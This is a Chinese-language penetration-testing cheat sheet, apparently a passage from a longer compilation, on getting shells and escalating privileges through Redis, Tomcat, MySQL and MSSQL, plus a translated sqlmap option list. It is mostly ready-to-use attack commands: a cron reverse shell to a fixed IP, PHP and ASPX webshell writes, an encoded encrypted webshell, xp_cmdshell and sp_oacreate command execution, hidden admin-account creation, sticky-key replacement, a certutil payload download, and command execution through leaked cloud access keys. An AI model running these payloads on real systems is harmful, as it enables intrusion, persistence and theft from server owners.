redis 192.168.242.134:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.242.131/888 0>&1\n"
redis 192.168.242.134:6379> config set dir /var/spool/cron/
redis 192.168.242.134:6379> config set dbfilename root
redis 192.168.242.134:6379> save
写webshell
利用条件
- 已知web的绝对路径
- 具有读写权限
redis-cli -h 192.168.1.154
config set dir /var/www/html
set xxx "\n\n\n<?php@eval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php
save
利用主从复制获取shell
利用脚本1
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make
git clone https://github.com/Ridter/redis-rce
python redis-rce.py -r 192.168.1.154 -L 192.168.1.153 -f module.so
脚本2
https://github.com/vulhub/redis-rogue-getshell
需要python3.0以上
编译
>cd RedisModulesSDK/
>make
会在此目录下生成exp.so
执行命令
>python3 redis-master.py -r 192.168.0.120 -p 6379 -L 192.168.0.108 -P 12138 -f RedisModulesSDK/exp.so -c "cat /etc/passwd"
https://github.com/n0b0dyCN/redis-rogue-server
需要python3.6以上
编译
>cd RedisModulesSDK/exp
>make
执行
>./redis-rogue-server.py --rhost 192.168.0.120 --lhost 192.168.0.108
相关利用工具
https://github.com/00theway/redis_exp
https://github.com/r35tart/RedisWriteFile
其他姿势
Windows下如何getshell?
- 写入webshell,需要知道web路径
- 写入启动项,需要目标服务器重启
- 系统dll劫持
- 覆盖软件或者中间件配置文件
- 覆盖快捷方式
- 覆盖粘滞键,放大镜
- 写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。
实战在生产环境下用还是会有很多问题的
- redis数据量稍微大一点,写shell到文件之后,php因为文件太大是会拒绝执行的
- Ubuntu,Debian写计划任务反弹无用
- 写/etc/passwd会覆盖原有/etc/passwd,不可能改了再改回来
- 生产环境下用
KEY *
这样的命令直接炸
敏感信息泄漏利用
阿里云Access Key利用
首先用行云管家导入云主机,网站地址:https://yun.cloudbility.com/
步骤:选择阿里云主机 -> 导入key id跟key secret -> 选择主机 -> 导入即可(名字随便输)
我们用这个只是为了得到两个数据,就是实例ID以及所属网络,拿到就可以走人了.
这里我们打开阿里API管理器,这个是阿里提供给运维开发人员使用的一个工具,
https://api.aliyun.com/#/?product=Ecs
点击左边的搜素框输入command,我们会用到CreateCommand跟InvokeCommand,CreateCommand是创建命令,InvokeCommand是调用命令。继续往下看
Name部分随意
Type指的是执行脚本类型
RunBatScript:创建一个在Windows实例中运行的 Bat 脚本。
RunPowerShellScript:创建一个在Windows实例中运行的PowerShell脚本。
RunShellScript:创建一个在Linux实例中运行的Shell脚本。
CommandContent为执行命令,需要注意的是这里是填写base64编码。
填写完后选择python
点击调试SDK示例代码,此时会弹出Cloud shell窗口,并创建一个CreateCommand.py文件,用vim编辑器打开CreateCommand.py,修改accessKeyId与accessSecret。
执行CreateCommand.py,会返回一个RequestId与CommandId,记录CommandId,后面调用命令会用到。
打开InvokeCommand
RegionId填写行云管家中的所属网络
CommandId填写刚刚执行CreateCommand.py返回的CommandId
InstanceId填写示例ID,行云管家中获取到的那个
继续点击调试SDK代码,会生成一个InvokeCommand.py文件,同样用vim编辑器把accessKeyId与accessSecret修改了。
修改完成后使用nc监听端口,执行InvokeCommand.py。
成功执行命令反弹shell,收工。
alicloud利用工具
https://github.com/iiiusky/alicloud-tools
中间件安全
tomcat安全
参考:https://www.anquanke.com/post/id/223002 不安全的中间件——Tomcat
自带的默认应用
-
examples目录
- 信息泄漏
- /examples/servlets/servlet/SessionExample 允许用户对session进行操纵(老系统可能出现)
-
admin管理页面
-
Tomcat 5.0.4版本之前都是默认安装,.5.0.4之后版本默认存在该目录,但是功能并不全
- 默认路径为/admin
- tomcat-user.xml文件中进行账号密码的配置
- 功能和manager下面的差不多
-
manager管理页面
- 最常见的,基本tomcat默认都有
- 默认没有设置登录口令,需要tomcat-user.xml文件中进行账号密码的配置
- 登录使用的Basic认证方式(请求头里面的Authorization为base64编码,可以用burp爆破)
- Tomcat manager包含4个不同的角色:
- manager-gui:允许访问html页面接口(即URL路径为/manager/html/*)
- manager-script:允许访问纯文本接口(即URL路径为/manager/text/*)
- manager-jmx:允许访问JMX代理接口(即URL路径为/manager/jmxproxy/*)
- manager-status:允许访问Tomcat只读状态页面(即URL路径为/manager/status/*)
- 部署war包拿shell
-
AJP协议
- 比较鸡肋
- 目前爆出的可直接利用的就是CVE-2020-1938(AJP文件包含漏洞)
-
debug模式
- 默认不开启
- 调试端口8000,指纹jdwp
- 低版本的jdk中会存在漏洞,可以通过jdwp来执行系统命令
-
CVE-2016-8735反序列化
- 条件:配置JMX做监控时使用了JmxRemoteLifecycleListener
- ysoserial来进行漏洞攻击利用
-
CVE-2017-12615 & CVE-2017-12616 put文件上传
- 范围7.0.0 – 7.0.79
- 条件:手动将web.xml中的readonly设置为false
- 利用构造put上传shell,返回201为成功
-
CVE-2019-0232命令注入
-
该漏洞的利用条件较为苛刻,需同时满足下列条件:
- 系统为Windows
- 启用了CGI Servlet(默认为关闭)
- 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)
影响范围:
9.0.0.M1-9.0.17 8.5.0-8.5.39 7.0.0-7.0.93
-
-
CVE-2020-1938 AJP缺陷
-
文件读取,代码执行
-
范围
Apache Tomcat 6 Apache Tomcat 7 < 7.0.100 Apache Tomcat 8 < 8.5.51 Apache Tomcat 9 < 9.0.31
-
-
数据库安全
mysql渗透总结
一、sqlshell获取
要利用mysql首先得拿到一个可以执行sql的mysql才能利用,下面就说一下几种常见姿势,欢迎补充。
1、弱口令
这个比较简单,网上工具很多如美杜莎,九头蛇这些比较知名的,msf也有相应的模块。我自己之前也写过一个。要是运气好的话直接跑到弱口令就直接进去,当然也可以配合社工字典来跑这样成功率更高。
2、文件读取漏洞
需要挖一个任意文件读取漏洞,然后利用读网站的配置文件,里面存放着数据库账号密码。
3、信息泄露
扫目录扫网站备份文件,或者git泄露
4、sql注入
这个不用多说,要是权限够大直接sqlmap os-shell一把梭
5、身份认证绕过漏洞(CVE-2012-2122)
受影响版本:
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。
在msf里面有模块,可以直接用auxiliary/scanner/mysql/mysql_authbypass_hashdump来跑
当数据库不能外连可以通过以下方法开放外连(注意防火墙):
可以修改host
为%
并刷新权限后,默认root等账号不允许远程连接
use mysql;
update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;
select host, user from user;
二、mysql拿shell
1、用命令直接导出shell
原理:利用导出命令来导出shell。
条件:
- 需要知道网站的物理路径(绝对路径)
通过程序报错,日志泄露,phpinfo,php探针等方式可以获取到物理路径。
2.允许导出
先查看是否允许导入导出
show variables like '%secure%'
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下,此时如果读写发生在其他文件夹,就会报告如下错误:
RROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
如果条件都满足的话,就可以开始了
outfile
select '<?php eval($_POST[xxx]) ?>' into outfile '/var/www/xx.php';
dumpfile
select '<?php eval($_POST[xx]) ?>' into dumpfile '/var/www/xx.php';
注意:outfile函数可以导出多行,而dumpfile只能导出一行数据outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
借助表导出。
Drop TABLE IF EXISTS temp;
Create TABLE temp(cmd text NOT NULL);
Insert INTO temp (cmd) VALUES('<?php eval($_POST[xxx]) ?>');
Select cmd from temp into out file '/var/www/xx.php';
Drop TABLE IF EXISTS temp;
也可以用mysql 的 -e 参数
mysql -u user -p passwd -e "select '' into outfile '/var/www/xxx.php'"
2、利用general_log拿shell
如果导入导出被禁用了就可以用这个方法试试。
原理:利用修改日志文件路径,往日志文件写入一句话。
条件:
1.对应web目录有写权限
2.需要有物理路径
3.如果拿到的是注入,还需要能执行堆叠注入
4.root用户,或者有对应权限的用户
利用如下:开启日志,更改路径,把一句话写入日志文件。
set global general_log=on;
set global general_log_file='/var/www/1.php';
select '<?php eval($_POST[safe6]) ?>';
3.写加密马
把冰蝎,哥斯拉的马儿进行base64编码,然后写一个普通的abb.php就访问abb.php会在当前路径生成abab.php
select '<?php file_put_contents("abab.php",base64_decode("Jmx0Oz9waHANCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpzZXNzaW9uX3N0YXJ0KCk7DQogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IA0KCSRfU0VTU0lPTlsmIzM5O2smIzM5O109JGtleTsNCgkkcG9zdD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgmIzM5O29wZW5zc2wmIzM5OykpDQoJew0KCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7DQoJCSRwb3N0PSR0KCRwb3N0LiIiKTsNCgkJDQoJCWZvcigkaT0wOyRpJmx0O3N0cmxlbigkcG9zdCk7JGkrKykgew0KICAgIAkJCSAkcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgDQogICAgCQkJfQ0KCX0NCgllbHNlDQoJew0KCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsNCgl9DQogICAgJGFycj1leHBsb2RlKCYjMzk7fCYjMzk7LCRwb3N0KTsNCiAgICAkZnVuYz0kYXJyWzBdOw0KICAgICRwYXJhbXM9JGFyclsxXTsNCgljbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319DQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7DQo/Jmd0Ow0K"));?>' into outfile 'C:/wamp/www/abb.php';
三、任意文件读取
既然有文件导出,肯定也有文件导入。关于任意文件读取怎么用,我之前总结过。
条件:和导出shell的条件一样。
利用:先创建一张表,读取文件内容到表。
create table a (v text);
load data infile 'file_name' into table table_name fields terminated by '分隔符'
例如读text.txt:
load data infile 'C:/phpstudy/MySQL/test.txt' into table a fields terminated by ',';
查看内容
SELECT * FROM a
四、mysql提权
先推荐一个小工具https://github.com/T3st0r-Git/HackMySQL
1、mof提权
原理:
利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。
条件:
1、mof提权的前提是root用户
2、可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下
利用:
网上工具也很多,可以直接用msf的exploit/windows/mysql/mysql_mof模块,执行成功后会直接反弹meterpreter。
2、udf提权
原理:
UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。
条件:
1、系统是Windows(Win2000,XP,Win2003);有一个mysql数据库的账户拥有insert和delete权限,以创建和抛弃函数。
2、Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
3、Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\
system32。
4、拥有相应目录的写权限
注意:一般Lib、Plugin文件夹需要手工建立(也可用NTFS ADS流模式突破进而创建文件夹)
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\\ProgramFiles\\\MySQL\\\MySQL Server 5.1\\\lib::$INDEX\_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\\ProgramFiles\\\MySQL\\\MySQL Server 5.1\\\lib\\\plugin::$INDEX\_ALLOCATION'; //利用NTFS ADS创建plugin目录
利用:
直接用msf的use exploit/multi/mysql/mysql_udf_payload模块.
msf会将dll文件写入lib\plugin\目录下(前提是该目录存在,如果该目录不存在的话,则无法执行成功),dll文件名为随机生成的名字(记下来后面手动创建需要用到)。该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。
手动创建sys_eval()
create function sys_eval returns string soname 'SGJECYG.dll';
执行手动创建的函数
select sys_eval('whoami');
检查有没有创建成功
select * from mysql.func where name = 'sys_eval';
删除函数
drop function sys_eval;
3、启动项提权
原理:本质还是用导出命令来实现,导出脚本到启动目录,服务器重启就执行脚本。
条件:上面说过了。
利用:
写个vbs到启动目录,想办法让服务器重启。
1,开始菜单当前用户启动文件夹--C:\\Users\\用户名\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
2,开始菜单所有用户启动文件夹--C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp
3,注册表当前用户开机启动项目录--HKEY\_CURRENT\_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
4,注册表所有用户开机启动项目录--HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
写脚本
create table a (cmd text);//创建表
insert into a values ("set wshshell=createobject(""wscript.shell"") " );//写数据到表
insert into a values ("a=wshshell.run(""cmd.exe /c net user aabbcc 123456 /add"",0) " );
insert into a values ("b=wshshell.run(""cmd.exe /c net localgroup administrators aabbcc/add"",0) " );
select * from a into outfile "C:\\\Documents andSettings\\\All Users\\\「开始」菜单\\\程序\\\启动\\\a.vbs";//导出vbs
msf下也有对应模块exploit/windows/mysql/mysql_start_up
五、拓展
其他常用msf模块
exploit/windows/mysql/scrutinizer_upload_exec(上传文件执行)
auxiliary/scanner/mysql/mysql_hashdump(mysql的mysql.user表的hash)
auxiliary/admin/mysql/mysql_sql(执行sql语句,navicat更香)
auxiliary/scanner/mysql/mysql_version(识别版本)
六、参考
https://blog.csdn.net/qq_37077262/article/details/102964050
http://www.safe6.cn/article/108
https://blog.csdn.net/qq_36119192/article/details/84863268
https://www.freebuf.com/articles/system/163144.html
mssql渗透总结
膜拜大佬文章https://y4er.com/post/mssql-getshel
getshell
能否getshell要看你当前的用户权限,如果是没有进行降权的sa用户,那么你几乎可以做任何事。当然你如果有其他具有do_owner权限的用户也可以。
拿shell的两大前提就是
- 有相应的权限db_owner
- 知道web目录的绝对路径
我们先来了解下怎么去寻找web目录的绝对路径。
寻找绝对路径
- 报错信息
- 字典猜
- 旁站的目录
- 存储过程来搜索
- 读配置文件
前三种方法都是比较常见的方法。我们主要来讲第四种调用存储过程来搜索。
在mssql中有两个存储过程可以帮我们来找绝对路径:xp_cmdshell xp_dirtree
先来看xp_dirtree
直接举例子
execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件
当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中
CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
我们再来看xp_cmdshell
怎么去找绝对路径,实际上原理就是调用cmd来查找文件,相对来说这种方法更方便。
当然你可能遇到xp_cmdshell不能调用 如果报错
SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用。
可以用如下命令恢复
;EXEC sp_configure 'show advanced options',1;//允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展
RECONFIGURE;--
当然还不行可能xplog70.dll需要恢复,看具体情况来解决吧
接下来我们先来看cmd中怎么查找文件。
C:\Users\Y4er>for /r e:\ %i in (1*.php) do @echo %i
e:\code\php\1.php
C:\Users\Y4er>
那么我们只需要建立一个表 存在一个char字段就可以了
http://192.168.130.137/1.aspx?id=1;CREATE TABLE cmdtmp (dir varchar(8000));
http://192.168.130.137/1.aspx?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'
然后通过注入去查询该表就可以了。
此时我们拿到绝对路径之后,我们接着往下看怎么拿shell
xp_cmdshell拿shell
xp_cmdshell这个存储过程可以用来执行cmd命令,那么我们可以通过cmd的echo命令来写入shell,当然前提是你知道web目录的绝对路径
http://192.168.130.137/1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;
由于cmd写webshell的主意这些转义的问题 推荐使用certutil或者vbs什么的来下载
差异备份拿shell
1. backup database 库名 to disk = 'c:\bak.bak';--
2. create table [dbo].[test] ([cmd] [image]);
3. insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--
因为权限的问题,最好不要备份到盘符根目录
当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。
log备份拿shell
LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式
1. alter database 库名 set RECOVERY FULL
2. create table cmd (a image)
3. backup log 库名 to disk = 'c:\xxx' with init
4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
5. backup log 库名 to disk = 'c:\xxx\2.asp'
log备份的好处就是备份出来的webshell的文件大小非常的小
getsystem
我们继续来探究怎么进行提权
xp_cmdshell
在2005中xp_cmdshell的权限是system,2008中是network。
当遇到无法写shell,或者是站库分离的时候,直接通过xp_cmdshell来下载我们的payload来上线会更加方便。下载文件通常有下面几种姿势
- certutil
- vbs
- bitsadmin
- powershell
- ftp
这个我会放在下一篇文章中细讲。
通过下载文件之后用xp_cmdshell来执行我们的payload,通过Cobalt Strike来进行下一步操作,比如怼exp或许会更加方便。
sp_oacreate
当xp_cmdshell 被删除可以使用这个来提权试试,恢复sp_oacreate
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
sp_oacreate是一个非常危险的存储过程可以删除、复制、移动文件 还能配合sp_oamethod 来写文件执行cmd
在以前的系统有这几种用法
- 调用cmd 来执行命令
wscript.shell执行命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c xxx'
Shell.Application执行命令
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
- 写入启动项
declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';
- 粘贴键替换
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
大家可以灵活运用,这里也可以这样玩,把他写成vbs或者其他的来下载文件 ,为什么不直接调用cmd来下载,再2008系统上我是不成功的,但是sp_oacreate可以启动这个文件,所以换个思路
declare @sp_passwordxieo int, @f int, @t int, @ret int;
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out;
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'c:\www\1.bat', 1;
exec @ret = sp_oamethod @f, 'writeline', NULL,'@echo off';
exec @ret = sp_oamethod @f, 'writeline', NULL,'start cmd /k "cd c:\www & certutil -urlcache -split -f http://192.168.130.142:80/download/file.exe"';
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\www\1.bat'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\www\file.exe'
当然这里只是一种思路,你完全可以用vbs来下载什么的
沙盒提权
1. exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
2. exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
3. Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Databasec:\windows\system32\ias\ias.mdb','select shell( net user itpro gmasfm /add )');
引用前辈们的话
1,Access可以调用VBS的函数,以System权限执行任意命令 2,Access执行这个命令是有条件的,需要一个开关被打开 3,这个开关在注册表里 4,SA是有权限写注册表的 5,用SA写注册表的权限打开那个开关 6,调用Access里的执行命令方法,以system权限执行任意命令执行SQL命令,执行了以下命令
xp_regwrite
修改注册表 来劫持粘贴键 当然在2008数据库是不成立的 因为默认权限很低
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';
mssql众多的储存过程是我们利用的关键,还有很多可能没被提出,需要自己的发现,比如在遇到iis6的拿不了shell还有个上传可以跳目录,不妨试试xp_create_subdir建立个畸形目录解析。
工具使用
sqlmap
参考:https://blog.csdn.net/qq_33530840/article/details/82144515
sqlmap详细命令参数
- –is-dba 当前用户权限(是否为root权限)
- –dbs 所有数据库
- –current-db 网站当前数据库
- –users 所有数据库用户
- –current-user 当前数据库用户
- –random-agent 构造随机user-agent
- –passwords 数据库密码
- –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
- –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
——————————————————————————————————
Options(选项):
- –version 显示程序的版本号并退出
- -h, –help 显示此帮助消息并退出
- -v VERBOSE 详细级别:0-6(默认为1)
- 保存进度继续跑:
sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度 sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度
Target(目标):
以下至少需要设置其中一个选项,设置目标URL。
- -d DIRECT 直接连接到数据库。
- -u URL, –url=URL 目标URL。
- -l LIST 从Burp或WebScarab代理的日志中解析目标。
- -r REQUESTFILE 从一个文件中载入HTTP请求。
- -g GOOGLEDORK 处理Google dork的结果作为目标URL。
- -c CONFIGFILE 从INI配置文件中加载选项。
Request(请求):
这些选项可以用来指定如何连接到目标URL。
- –data=DATA 通过POST发送的数据字符串
- –cookie=COOKIE HTTP Cookie头
- –cookie-urlencode URL 编码生成的cookie注入
- –drop-set-cookie 忽略响应的Set – Cookie头信息
- –user-agent=AGENT 指定 HTTP User – Agent头
- –random-agent 使用随机选定的HTTP User – Agent头
- –referer=REFERER 指定 HTTP Referer头
- –headers=HEADERS 换行分开,加入其他的HTTP头
- –auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
- –auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
- –auth-cert=ACERT HTTP认证证书(key_file,cert_file)
- –proxy=PROXY 使用HTTP代理连接到目标URL
- –proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
- –ignore-proxy 忽略系统默认的HTTP代理
- –delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
- –timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
- –retries=RETRIES 连接超时后重新连接的时间(默认3)
- –scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
- –safe-url=SAFURL 在测试过程中经常访问的url地址
- –safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行 您自己的SQL语句。
- -b, –banner 检索数据库管理系统的标识
- –current-user 检索数据库管理系统当前用户
- –current-db 检索数据库管理系统当前数据库
- –is-dba 检测DBMS当前用户是否DBA
- –users 枚举数据库管理系统用户
- –passwords 枚举数据库管理系统用户密码哈希
- –privileges 枚举数据库管理系统用户的权限
- –roles 枚举数据库管理系统用户的角色
- –dbs 枚举数据库管理系统数据库
- -D DBname 要进行枚举的指定数据库名
- -T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
- –tables 枚举的DBMS数据库中的表
- –columns 枚举DBMS数据库表列
- –dump 转储数据库管理系统的数据库中的表项
- –dump-all 转储所有的DBMS数据库表中的条目
- –search 搜索列(S),表(S)和/或数据库名称(S)
- -C COL 要进行枚举的数据库列
- -U USER 用来进行枚举的数据库用户
- –exclude-sysdbs 枚举表时排除系统数据库
- –start=LIMITSTART 第一个查询输出进入检索
- –stop=LIMITSTOP 最后查询的输出进入检索
- –first=FIRSTCHAR 第一个查询输出字的字符检索
- –last=LASTCHAR 最后查询的输出字字符检索
- –sql-query=QUERY 要执行的SQL语句
- –sql-shell 提示交互式SQL的shell
Optimization(优化):
这些选项可用于优化SqlMap的性能。
- -o 开启所有优化开关
- –predict-output 预测常见的查询输出
- –keep-alive 使用持久的HTTP(S)连接
- –null-connection 从没有实际的HTTP响应体中检索页面长度
- –threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
Injection(注入):
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。
- -p TESTPARAMETER 可测试的参数(S)
- –dbms=DBMS 强制后端的DBMS为此值
- –os=OS 强制后端的DBMS操作系统为这个值
- –prefix=PREFIX 注入payload字符串前缀
- –suffix=SUFFIX 注入payload字符串后缀
- –tamper=TAMPER 使用给定的脚本(S)篡改注入数据
Detection(检测):
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
- –level=LEVEL 执行测试的等级(1-5,默认为1)
- –risk=RISK 执行测试的风险(0-3,默认为1)
- –string=STRING 查询时有效时在页面匹配字符串
- –regexp=REGEXP 查询时有效时在页面匹配正则表达式
- –text-only 仅基于在文本内容比较网页
Techniques(技巧):
这些选项可用于调整具体的SQL注入测试。
- –technique=TECH SQL注入技术测试(默认BEUST)
- –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
- –union-cols=UCOLS 定列范围用于测试UNION查询注入
- –union-char=UCHAR 用于暴力猜解列数的字符
Fingerprint(指纹):
- -f, –fingerprint 执行检查广泛的DBMS版本指纹
Brute force(蛮力):
这些选项可以被用来运行蛮力检查。
- –common-tables 检查存在共同表
- –common-columns 检查存在共同列
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
–udf-inject 注入用户自定义函数 –shared-lib=SHLIB 共享库的本地路径
File system access(访问文件系统):
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
- –file-read=RFILE 从后端的数据库管理系统文件系统读取文件
- –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
- –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
Operating system access(操作系统访问):
这些选项可以用于访问后端数据库管理系统的底层操作系统。
- –os-cmd=OSCMD 执行操作系统命令
- –os-shell 交互式的操作系统的shell
- –os-pwn 获取一个OOB shell,meterpreter或VNC
- –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
- –os-bof 存储过程缓冲区溢出利用
- –priv-esc 数据库进程用户权限提升
- –msf-path=MSFPATH Metasploit Framework本地的安装路径
- –tmp-path=TMPPATH 远程临时文件目录的绝对路径
Windows注册表访问:
这些选项可以被用来访问后端数据库管理系统Windows注册表。
- –reg-read 读一个Windows注册表项值
- –reg-add 写一个Windows注册表项值数据
- –reg-del 删除Windows注册表键值
- –reg-key=REGKEY Windows注册表键
- –reg-value=REGVAL Windows注册表项值
- –reg-data=REGDATA Windows注册表键值数据
- –reg-type=REGTYPE Windows注册表项值类型
这些选项可以用来设置一些一般的工作参数。
- -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
- -s SESSIONFILE 保存和恢复检索会话文件的所有数据
- –flush-session 刷新当前目标的会话文件
- –fresh-queries 忽略在会话文件中存储的查询结果
- –eta 显示每个输出的预计到达时间
- –update 更新SqlMap
- –save file保存选项到INI配置文件
- –batch 从不询问用户输入,使用所有默认配置。
Miscellaneous(杂项):
- –beep 发现SQL注入时提醒
- –check-payload IDS对注入payloads的检测测试
- –cleanup SqlMap具体的UDF和表清理DBMS
- –forms 对目标URL的解析和测试形式
- –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
- –page-rank Google dork结果显示网页排名(PR)
- –parse-errors 从响应页面解析数据库管理系统的错误消息
- –replicate 复制转储的数据到一个sqlite3数据库
- –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
